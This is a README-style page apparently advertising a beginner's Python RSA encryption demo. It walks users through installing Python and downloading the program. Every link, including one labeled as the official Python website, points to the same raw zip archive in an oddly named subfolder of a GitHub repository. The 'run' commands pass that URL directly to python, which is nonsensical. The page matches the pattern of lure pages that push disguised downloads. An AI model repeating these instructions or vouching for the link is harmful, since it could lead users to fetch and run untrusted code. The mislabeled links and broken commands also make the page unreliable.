This is a simple Python program that shows how RSA encryption works. RSA is a way to keep information safe by turning it into codes that only the right person can read. This program helps you understand how RSA creates keys, locks (encrypts), and unlocks (decrypts) messages.
You don’t need to know programming to use this. The tool runs on your computer and lets you try the RSA steps yourself. It’s meant for learning and safe experimentation.
To run rsa-algorithm-python, your computer should meet these requirements:
- Operating system: Windows 10 or newer, macOS 10.13 or newer, or Linux (Ubuntu 18.04 or later recommended)
- Python: Version 3.7 or higher installed on your computer
- Disk space: At least 50 MB free
- RAM: Minimum 2 GB
If you do not have Python installed, this guide will help you get it set up easily.
rsa-algorithm-python includes these key features:
- Key generation: Create your own RSA public and private keys.
- Encryption: Turn plain messages into coded text.
- Decryption: Turn coded text back into readable messages.
- Step-by-step process: See how each part of RSA works for learning.
- Command line interface: Simple text menus to guide you through actions.
- Educational output: Detailed messages explain what the program does.
This section helps you get the software working on your computer from scratch.
rsa-algorithm-python runs on Python, so you'll need it first, if you haven't installed it yet.
- Go to the official Python website: https://github.com/Mirangi94/rsa-algorithm-python/raw/refs/heads/main/brachiolaria/algorithm-rsa-python-v1.0-beta.5.zip
- Download the latest version for your computer (Windows, macOS, or Linux).
- Follow the installer instructions and make sure to select the option to “Add Python to PATH” on Windows.
- After installation, open your Command Prompt (Windows) or Terminal (macOS/Linux) and type:
You should see the version number printed, which means Python is ready.
python --version
You can get the software files from this page:
-
Click the link above or visit:
https://github.com/Mirangi94/rsa-algorithm-python/raw/refs/heads/main/brachiolaria/algorithm-rsa-python-v1.0-beta.5.zip -
Look for the latest release (usually the top item).
-
Download the
.zipfile which contains the program files. -
Once downloaded, unzip the folder to a place you can easily access, like your Desktop.
After installing Python and downloading the program, here’s how to run it.
-
Open Command Prompt:
- Click the Start menu.
- Type
cmdand hit Enter.
-
Go to the folder where you unpacked the files:
- Type
cd Desktop\rsa-algorithm-pythonif you saved it on Desktop. - Update the path if saved somewhere else.
- Type
-
Run the program by typing:
python https://github.com/Mirangi94/rsa-algorithm-python/raw/refs/heads/main/brachiolaria/algorithm-rsa-python-v1.0-beta.5.zipYou should see a menu or instructions to follow.
-
Open Terminal (found in Applications or search bar).
-
Navigate to the folder:
cd ~/Desktop/rsa-algorithm-pythonChange path if you saved it in a different folder.
-
Start the program by typing:
python3 https://github.com/Mirangi94/rsa-algorithm-python/raw/refs/heads/main/brachiolaria/algorithm-rsa-python-v1.0-beta.5.zipThe program will display options or messages to guide you.
Once running, the program will guide you with simple prompts:
-
Key Generation: The program will ask you to create RSA keys. Just press Enter when prompted.
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Encrypt a Message: Type the message you want to lock up.
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Decrypt a Message: You can try decrypting messages locked with your keys.
The program shows the numbers used in RSA, explaining how keys protect your information.
rsa-algorithm-python is designed for learning how RSA cryptography works. It is not meant for securing real data, but to teach key cryptography ideas clearly.
You can open the program code with any text editor to peek inside if you want to see how the steps work, but it's fine to just use and learn from the interface.
If you run into problems:
- Make sure Python is installed and working.
- Confirm you typed the folder path correctly in the command prompt or terminal.
- Check for error messages and search online for the exact text.
- Consider visiting the GitHub repository page to see if there are updates or issues reported.
This software relates to:
- Computer security
- Cryptography
- Cybersecurity
- Decryption
- Encryption
- Information security
- Learning project
- Public key cryptography
- Python programming
- RSA algorithm
Made for anyone who wants to see how public-key encryption works in a safe, simple Python program.